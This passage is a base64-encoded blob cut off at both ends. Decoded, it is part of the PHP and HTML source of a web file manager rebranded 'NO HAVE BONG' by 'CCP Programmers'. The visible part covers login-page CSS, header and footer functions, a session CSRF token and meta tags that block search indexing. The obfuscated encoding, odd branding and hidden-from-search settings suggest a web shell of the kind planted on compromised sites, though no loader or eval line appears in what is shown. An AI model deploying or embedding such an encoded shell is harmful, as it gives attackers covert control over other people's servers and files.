i0yaDEyMi4xem01Ny44LTQ2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTAgMTZhNSA1IDAgMSAxIDAtMkgzMDR2MmgtNDIuMXptNi4yLTExNGE1IDUgMCAxIDEgMCAyaC04Ni4yYTUgNSAwIDEgMSAwLTJoODYuMnptLTI1Ni00OGE1IDUgMCAxIDEgMCAySDB2LTJoMTIuMXptMTg1LjggMzRhNSA1IDAgMSAxIDAtMmg4Ni4yYTUgNSAwIDEgMSAwIDJoLTg2LjJ6TTI1OCAxMi4xYTUgNSAwIDEgMS0yIDBWMGgydjEyLjF6bS02NCAyMDhhNSA1IDAgMSAxLTIgMHYtNTQuMmE1IDUgMCAxIDEgMiAwdjU0LjJ6bTQ4LTE5OC4yVjgwaDYydjJoLTY0VjIxLjlhNSA1IDAgMSAxIDIgMHptMTYgMTZWNjRoNDZ2MmgtNDhWMzcuOWE1IDUgMCAxIDEgMiAwem0tMTI4IDk2VjIwOGgxNnYxMi4xYTUgNSAwIDEgMS0yIDBWMjEwaC0xNnYtNzYuMWE1IDUgMCAxIDEgMiAwem0tNS45LTIxLjlhNSA1IDAgMSAxIDAgMkgxMTR2NDhIODUuOWE1IDUgMCAxIDEgMC0ySDExMnYtNDhoMTIuMXptLTYuMiAxMzBhNSA1IDAgMSAxIDAtMkgxNzZ2LTc0LjFhNSA1IDAgMSAxIDIgMFYyNDJoLTYwLjF6bS0xNi02NGE1IDUgMCAxIDEgMC0ySDExNHY0OGgxMC4xYTUgNSAwIDEgMSAwIDJIMTEydi00OGgtMTAuMXpNNjYgMjg0LjFhNSA1IDAgMSAxLTIgMFYyNzRINTB2MzBoLTJ2LTMyaDE4djEyLjF6TTIzNi4xIDE3NmE1IDUgMCAxIDEgMCAySDIyNnY5NGg0OHYzMmgtMnYtMzBoLTQ4di05OGgxMi4xem0yNS44LTMwYTUgNSAwIDEgMSAwLTJIMjc0djQ0LjFhNSA1IDAgMSAxLTIgMFYxNDZoLTEwLjF6bS02NCA5NmE1IDUgMCAxIDEgMC0ySDIwOHYtODBoMTZ2LTE0aC00Mi4xYTUgNSAwIDEgMSAwLTJIMjI2djE4aC0xNnY4MGgtMTIuMXptODYuMi0yMTBhNSA1IDAgMSAxIDAgMkgyNzJWMGgydjMyaDEwLjF6TTk4IDEwMS45VjE0Nkg1My45YTUgNSAwIDEgMSAwLTJIOTZ2LTQyLjFhNSA1IDAgMSAxIDIgMHpNNTMuOSAzNGE1IDUgMCAxIDEgMC0ySDgwVjBoMnYzNEg1My45em02MC4xIDMuOVY2Nkg4MnY2NEg2OS45YTUgNSAwIDEgMSAwLTJIODBWNjRoMzJWMzcuOWE1IDUgMCAxIDEgMiAwek0xMDEuOSA4MmE1IDUgMCAxIDEgMC0ySDEyOFYzNy45YTUgNSAwIDEgMSAyIDBWODJoLTI4LjF6bTE2LTY0YTUgNSAwIDEgMSAwLTJIMTQ2djQ0LjFhNSA1IDAgMSAxLTIgMFYxOGgtMjYuMXptMTAyLjIgMjcwYTUgNSAwIDEgMSAwIDJIOTh2MTRoLTJ2LTE2aDEyNC4xek0yNDIgMTQ5LjlWMTYwaDE2djM0aC0xNnY2Mmg0OHY0OGgtMnYtNDZoLTQ4di02NmgxNnYtMzBoLTE2di0xMi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMThhNSA1IDAgMSAxIDAtMkg2NFYySDQ4VjBoMTh2MThINTMuOXptMTEyIDMyYTUgNSAwIDEgMSAwLTJIMTkyVjBoNTB2MmgtNDh2NDhoLTI4LjF6bS00OC00OGE1IDUgMCAwIDEtOS44LTJoMi4wN2EzIDMgMCAxIDAgNS42NiAwSDE3OHYzNGgtMThWMjEuOWE1IDUgMCAxIDEgMiAwVjMyaDE0VjJoLTU4LjF6bTAgOTZhNSA1IDAgMSAxIDAtMkgxMzdsMzItMzJoMzlWMjEuOWE1IDUgMCAxIDEgMiAwVjY2aC00MC4xN2wtMzIgMzJIMTE3Ljl6bTI4LjEgOTAuMWE1IDUgMCAxIDEtMiAwdi03Ni41MUwxNzUuNTkgODBIMjI0VjIxLjlhNSA1IDAgMSAxIDIgMFY4MmgtNDkuNTlMMTQ2IDExMi40MXY3NS42OXptMTYgMzJhNSA1IDAgMSAxLTIgMHYtOTkuNTFMMTg0LjU5IDk2SDMwMC4xYTUgNSAwIDAgMSAzLjktMy45djIuMDdhMyAzIDAgMCAwIDAgNS42NnYyLjA3YTUgNSAwIDAgMS0zLjktMy45SDE4NS40MUwxNjIgMTIxLjQxdjk4LjY5em0tMTQ0LTY0YTUgNSAwIDEgMS0yIDB2LTMuNTFsNDgtNDhWNDhoMzJWMGgydjUwSDY2djU1LjQxbC00OCA0OHYyLjY5ek01MCA1My45djQzLjUxbC00OCA0OFYyMDhoMjYuMWE1IDUgMCAxIDEgMCAySDB2LTY1LjQxbDQ4LTQ4VjUzLjlhNSA1IDAgMSAxIDIgMHptLTE2IDE2Vjg5LjQxbC0zNCAzNHYtMi44MmwzMi0zMlY2OS45YTUgNSAwIDEgMSAyIDB6TTEyLjEgMzJhNSA1IDAgMSAxIDAgMkg5LjQxTDAgNDMuNDFWNDAuNkw4LjU5IDMyaDMuNTF6bTI2NS44IDE4YTUgNSAwIDEgMSAwLTJoMTguNjlsNy40MS03LjQxdjIuODJMMjk3LjQxIDUwSDI3Ny45em0tMTYgMTYwYTUgNSAwIDEgMSAwLTJIMjg4di03MS40MWwxNi0xNnYyLjgybC0xNCAxNFYyMTBoLTI4LjF6bS0yMDggMzJhNSA1IDAgMSAxIDAtMkg2NHYtMjIuNTlMNDAuNTkgMTk0SDIxLjlhNSA1IDAgMSAxIDAtMkg0MS40MUw2NiAyMTYuNTlWMjQySDUzLjl6bTE1MC4yIDE0YTUgNSAwIDEgMSAwIDJIOTZ2LTU2LjZMNTYuNiAxNjJIMzcuOWE1IDUwIDEgMSAwLTJoMTkuNUw5OCAyMDAuNlYyNTZoMTA2LjF6bS0xNTAuMiAyYTUgNSAwIDEgMSAwLTJIODB2LTQ2LjU5TDQ4LjU5IDE3OEgyMS45YTUgNSAwIDEgMSAwLTJINDkuNDFMODIgMjA4LjU5VjI1OEg1My45ek0zNCAzOS44djEuNjFMOS40MSA2Nkgwdi0yaDguNTlMMzIgNDAuNTlWMGgydjM5Ljh6TTIgMzAwLjFhNSA1IDAgMCAxIDMuOSAzLjlIMy44M0EzIDMgMCAwIDAgMCAzMDIuMTdWMjU2aDE4djQ4aC0ydi00NkgydjQyLjF6TTM0IDI0MXY2M2gtMnYtNjJIMHYtMmgzNHYxek0xNyAxOEgwdi0yaDE2VjBoMnYxOGgtMXptMjczLTJoMTR2MmgtMTZWMGgydjE2em0tMzIgMjczdjE1aC0ydi0xNGgtMTR2MTRoLTJ2LTE2aDE4djF6TTAgOTIuMUE1LjAyIDUuMDIgMCAwIDEgNiA5N2E1IDUgMCAwIDEtNiA0Ljl2LTIuMDdhMyAzIDAgMSAwIDAtNS42NlY5Mi4xek04MCAyNzJoMnYzMmgtMnYtMzJ6bTM3LjkgMzJoLTIuMDdhMyAzIDAgMCAwLTUuNjYgMGgtMi4wN2E1IDUgMCAwIDEgOS44IDB6TTUuOSAwQTUuMDIgNS4wMiAwIDAgMSAwIDUuOVYzLjgzQTMgMyAwIDAgMCAzLjgzIDBINS45em0yOTQuMiAwaDIuMDdBMyAzIDAgMCAwIDMwNCAzLjgzVjUuOWE1IDUgMCAwIDEtMy45LTUuOXptMy45IDMwMC4xdjIuMDdhMyAzIDAgMCAwLTEuODMgMS44M2gtMi4wN2E1IDUgMCAwIDEgMy45LTMuOXpNOTcgMTAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMC0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTQ4IDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA0OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMC0zMmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzIgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTY0YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDk2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTQ0YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAzMmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0zMmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTk2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0zMiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMC0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6TTQ5IDM2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6TTMzIDY4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtNDhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDI0MGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTY0YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0zMmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTgwLTE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA0OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMC0zMmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTExMiAxNzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6TTE3IDE4MGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6TTE3IDg0YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzIgNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6JyUzRSUzQy9wYXRoJTNFJTNDL3N2ZyUzRSIpO30NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5keyB3aWR0aDoxMjFweDtvdmVyZmxvdzpoaWRkZW47bWFyZ2luOjAgYXV0bztwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjF9DQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCBpbWd7IHdpZHRoOjEwMCV9DQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXdyYXBwZXJ7IHdpZHRoOjM2MHB4O21hcmdpbi10b3A6MTAlO21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87fQ0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZHsgYm9yZGVyLWNvbG9yOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCA0cHggOHB4IHJnYmEoMCwwLDAsLjA1KX0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtdGl0bGV7IG1hcmdpbi1ib3R0b206MS41cmVtO2ZvbnQtc2l6ZToyNHB4O2ZvbnQtd2VpZ2h0OjQwMDt9DQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2x7IGJvcmRlci13aWR0aDoyLjNweH0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWx7IHdpZHRoOjEwMCV9DQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NreyBwYWRkaW5nOjEycHggMTBweH0NCiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlcnsgbWFyZ2luOjQwcHggMDtjb2xvcjojODg4O3RleHQtYWxpZ246Y2VudGVyfQ0KICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjQyNXB4KXsNCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXdyYXBwZXJ7IHdpZHRoOjkwJTttYXJnaW46MCBhdXRvO21hcmdpbi10b3A6MTAlO30NCiAgICAgICAgfQ0KICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjMyMHB4KXsNCiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLmZhdHsgcGFkZGluZzowfQ0KICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHl7IHBhZGRpbmc6MTVweH0NCiAgICAgICAgfQ0KICAgICAgICAubWVzc2FnZXsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9DQogICAgICAgIC5tZXNzYWdlLm9reyBib3JkZXItY29sb3I6Z3JlZW47Y29sb3I6Z3JlZW59DQogICAgICAgIC5tZXNzYWdlLmVycm9yeyBib3JkZXItY29sb3I6cmVkO2NvbG9yOnJlZH0NCiAgICAgICAgLm1lc3NhZ2UuYWxlcnR7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlfQ0KICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2UudGhlbWUtZGFyayB7YmFja2dyb3VuZC1jb2xvcjogIzJmMmEyYTt9DQogICAgICAgIC50aGVtZS1kYXJrIHN2ZyBnLCAudGhlbWUtZGFyayBzdmcgcGF0aCB7ZmlsbDogI2ZmZmZmZjsgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iZm0tbG9naW4tcGFnZSA8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+Ij4NCjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPg0KDQogICAgPD9waHANCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm0NCiAgICAgKi8NCiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpDQogICAgew0KICAgID8+DQo8L2Rpdj4NCjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4NCjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQp9DQoNCi8qKg0KICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW4NCiAqLw0KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKQ0Kew0KJHNwcml0ZXNfdmVyID0gJzIwMTYwMzE1JzsNCmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCmhlYWRlcigiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KDQpnbG9iYWwgJGxhbmcsICRyb290X3VybCwgJHN0aWNreV9uYXZiYXIsICRmYXZpY29uX3BhdGg7DQokaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4NCiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iV2ViIGJhc2VkIE5PIEhBVkUgQk9ORyBpbiBQSFAsIE1hbmFnZSB5b3VyIGZpbGVzIGVmZmljaWVudGx5IGFuZCBlYXNpbHkgd2l0aCBOTyBIQVZFIEJPTkciPg0KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPg0KICAgIDw/cGhwIGlmKCRmYXZpY29uX3BhdGgpIHsgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInLmZtX2VuYygkZmF2aWNvbl9wYXRoKS4nIiB0eXBlPSJpbWFnZS9wbmciPic7IH0gPz4NCiAgICA8dGl0bGU+PD9waHAgZWNobyBmbV9lbmMoQVBQX1RJVExFKSA/PjwvdGl0bGU+DQogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/Pg0KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtY2xvdWRmbGFyZScpOyA/Pg0KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+DQogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1mb250LWF3ZXNvbWUnKTsgPz4NCiAgICA8P3BocCBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTICYmIGlzc2V0KCRfR0VUWyd2aWV3J10pKTogPz4NCiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWhpZ2hsaWdodGpzJyk7ID8+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPndpbmRvdy5jc3JmID0gJzw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/Pic7PC9zY3JpcHQ+DQogICAgPHN0eWxlPg0KICAgICAgICBodG1sIHsgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTsgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7IHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7IGhlaWdodDogMTAwJTsgc2Nyb2xsLWJlaGF2aW9yOiBzbW9vdGg7fQ0KICAgICAgICAqLCo6OmJlZm9yZSwqOjphZnRlciB7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7fQ0KICAgICAgICBib2R5IHsgZm9udC1zaXplOjE1cHg7IGNvbG9yOiMyMjI7YmFja2dyb3VuZDojRjdGN0Y3OyB9DQogICAgICAgIGJvZHkubmF2YmFyLWZpeGVkIHsgbWFyZ2luLXRvcDo1NXB4OyB9DQogICAgICAgIGEsIGE6aG92ZXIsIGE6dmlzaXRlZCwgYTpmb2N1cyB7IHRleHQtZGVjb3JhdGlvbjpub25lICFpbXBvcnRhbnQ7IH0NCiAgICAgICAgLmZpbGVuYW1lLCB0ZCwgdGggeyB3aGl0ZS1zcGFjZTpub3dyYXAgIH0NCiAgICAgICAgLm5hdmJhci1icmFuZCB7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0NCiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHsgY3Vyc29yOnBvaW50ZXI7dGV4dC10cmFuc2Zvcm06Y2FwaXRhbGl6ZTsgfQ0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgPiBpIHsgZm9udC1zaXplOjE1cHg7IH0NCiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciAuZHJvcGRvd24tbWVudSBhIHsgZm9udC1zaXplOjEzcHg7IH0NCiAgICAgICAgI3NlYXJjaC1hZGRvbiB7IGZvbnQtc2l6ZToxMnB4O2JvcmRlci1yaWdodC13aWR0aDowOyB9DQogICAgICAgIC5icmwtMCB7IGJhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym9yZGVyLWxlZnQ6MDsgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDsgfQ0KICAgICAgICAuYnJyLTAgeyBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7IH0NCiAgICAgICAgLmJyZWFkLWNydW1iIHsgY29sb3I6I2NjY2NjYztmb250LXN0eWxlOm5vcm1hbDsgfQ0KICAgICAgICAjbWFpbi10YWJsZSB7IHRyYW5zaXRpb246IHRyYW5zZm9ybSAuMjVzIGN1YmljLWJlemllcigwLjQsIDAuNSwgMCwgMSksd2lkdGggMHMgLjI1czt9DQogICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsgY29sb3I6IzIyMjIyMjsgfQ0KICAgICAgICAudGFibGUgdGQsIC50YWJsZSB0aCB7IHZlcnRpY2FsLWFsaWduOm1pZGRsZSAhaW1wb3J0YW50OyB9DQogICAgICAgIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LXRkIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gsIC50YWJsZSAuY3VzdG9tLWNoZWNrYm94LWhlYWRlciAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94IHsgbWluLXdpZHRoOjE4cHg7IGRpc3BsYXk6IGZsZXg7YWxpZ24taXRlbXM6IGNlbnRlcjsganVzdGlmeS1jb250ZW50OiBjZW50ZXI7IH0NCiAgICAgICAgLnRhYmxlLXNtIHRkLCAudGFibGUtc20gdGggeyBwYWRkaW5nOi40cmVtOyB9DQogICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCwgLnRhYmxlLWJvcmRlcmVkIHRoIHsgYm9yZGVyOjFweCBzb2xpZCAjZjFmMWYxOyB9DQogICAgICAgIC5oaWRkZW4geyBkaXNwbGF5Om5vbmUgIH0NCiAgICAgICAgcHJlLndpdGgtaGxqcyB7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6IGhpZGRlbjsgIH0NCiAgICAgICAgcHJlLndpdGgtaGxqcyBjb2RlIHsgbWFyZ2luOjA7Ym9yZGVyOjA7b3ZlcmZsb3c6c2Nyb2xsOyAgfQ0KICAgICAgICBjb2RlLm1heGhlaWdodCwgcHJlLm1heGhlaWdodCB7IG1heC1oZWlnaHQ6NTEycHggIH0NCiAgICAgICAgLmZhLmZhLWNhcmV0LXJpZ2h0IHsgZm9udC1zaXplOjEuMmVtO21hcmdpbjowIDRweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6I2VjZWNlYyAgfQ0KICAgICAgICAuZmEuZmEtaG9tZSB7IGZvbnQtc2l6ZToxLjNlbTt2ZXJ0aWNhbC1hbGlnbjpib3R0b20gIH0NCiAgICAgICAgLnBhdGggeyBtYXJnaW4tYm90dG9tOjEwcHggIH0NCiAgICAgICAgZm9ybS5kcm9wem9uZSB7IG1pbi1oZWlnaHQ6MjAwcHg7Ym9yZGVyOjJweCBkYXNoZWQgIzAwN2JmZjtsaW5lLWhlaWdodDo2cmVtOyB9DQogICAgICAgIC5yaWdodCB7IHRleHQtYWxpZ246cmlnaHQgIH0NCiAgICAgICAgLmNlbnRlciwgLmNsb3NlLCAubG9naW4tZm9ybSwgLnByZXZpZXctaW1nLWNvbnRhaW5lciB7IHRleHQtYWxpZ246Y2VudGVyICB9DQogICAgICAgIC5tZXNzYWdlIHsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYgIH0NCiAgICAgICAgLm1lc3NhZ2Uub2sgeyBib3JkZXItY29sb3I6Z3JlZW47Y29sb3I6Z3JlZW4gIH0NCiAgICAgICAgLm1lc3NhZ2UuZXJyb3IgeyBib3JkZXItY29sb3I6cmVkO2NvbG9yOnJlZCAgfQ0KICAgICAgICAubWVzc2FnZS5hbGVydCB7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlICB9DQogICAgICAgIC5wcmV2aWV3LWltZyB7IG1heC13aWR0aDoxMDAlO21heC1oZWlnaHQ6ODB2aDtiYWNrZ3JvdW5kOnVybChkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQUlBQUFDUWtXZzJBQUFBS2tsRVFWUjQybUw1Ly84L0F6YncrUEZqck9KTURDU0NVUTNFQUJaYzRTMHJLenNhU3ZUVEFCQmdBTXlmQ01zWTRCOWlBQUFBQUVsRlRrU3VRbUNDKTtjdXJzb3I6em9vbS1pbiB9DQogICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7IGRpc3BsYXk6bm9uZSB9DQogICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XTpjaGVja2VkIH4gbGFiZWwgPiBpbWcgeyBtYXgtd2lkdGg6bm9uZTttYXgtaGVpZ2h0Om5vbmU7Y3Vyc29yOnpvb20tb3V0IH0NCiAgICAgICAgLmlubGluZS1hY3Rpb25zID4gYSA+IGkgeyBmb250LXNpemU6MWVtO21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kOiMzNzg1YzE7Y29sb3I6I2ZmZjtwYWRkaW5nOjNweCA0cHg7Ym9yZGVyLXJhZGl1czozcHg7IH0NCiAgICAgICAgLnByZXZpZXctdmlkZW8geyBwb3NpdGlvbjpyZWxhdGl2ZTttYXgtd2lkdGg6MTAwJTtoZWlnaHQ6MDtwYWRkaW5nLWJvdHRvbTo2Mi41JTttYXJnaW4tYm90dG9tOjEwcHggIH0NCiAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8geyBwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2xlZnQ6MDt0b3A6MDtiYWNrZ3JvdW5kOiMwMDAgIH0NCiAgICAgICAgLmNvbXBhY3QtdGFibGUgeyBib3JkZXI6MDt3aWR0aDphdXRvICB9DQogICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLCAuY29tcGF